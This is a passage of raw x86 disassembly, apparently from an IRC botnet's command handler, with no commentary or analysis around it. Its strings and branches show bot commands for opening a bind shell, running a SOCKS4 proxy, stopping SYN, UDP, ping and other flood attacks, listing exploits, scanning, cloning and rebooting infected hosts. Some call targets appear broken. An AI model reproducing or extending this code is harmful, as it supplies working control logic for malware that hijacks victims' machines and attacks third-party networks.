loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFA0
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB4D8
		mov	eax, off_429160[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CF84
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CF7C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF64
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42CF28
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CEE4


loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEBC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		call	near ptr 282060Ah
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E574[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 2820566h
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2830047h
		push	eax
		push	offset unk_42CE84
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE54
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE20
		jmp	loc_4083AD
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42CFF4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854


loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_429498, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D7E0


loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_429498
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------


loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42D0F4 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D7F8[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D7E0[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------


loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h


loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch


loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1


loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C


loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CDDC ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F


loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------


loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------


loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D0F0 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42D0F0 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD30


loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD08
		jmp	short loc_402B24
; ---------------------------------------------------------------------------


loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CCEC
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CCD0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCBC
		push	offset dword_42CCB0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CC90
		push	offset dword_42CC80
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42CC74
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CC68
		push	offset dword_42CC5C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC48
		push	offset dword_42CC3C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC20
		push	offset dword_42CC10
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CBF4
		push	offset dword_42CBE4
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CBCC
		push	offset dword_42CBC0
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CC68
		push	offset dword_42CC5C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42CC48
		push	offset dword_42CC3C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBA8
		push	offset dword_42CB9C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42CB90
		push	offset dword_42CB84
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CBF4
		push	offset dword_42CBE4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42CBCC
		push	offset dword_42CBC0
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CB74
		push	offset dword_42CB64
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42CB54
		push	offset dword_42CB44
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC20
		push	offset dword_42CC10
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB10
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CB74
		push	offset dword_42CB64
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB54
		push	offset dword_42CB44
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBA8
		push	offset dword_42CB9C
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CB90
		push	offset dword_42CB84
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CAC8
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CA78
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA54
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA34
		jmp	loc_402B24
; ---------------------------------------------------------------------------


loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C970
		jnz	short loc_403191
		mov	eax, offset unk_42C948


loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------


loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
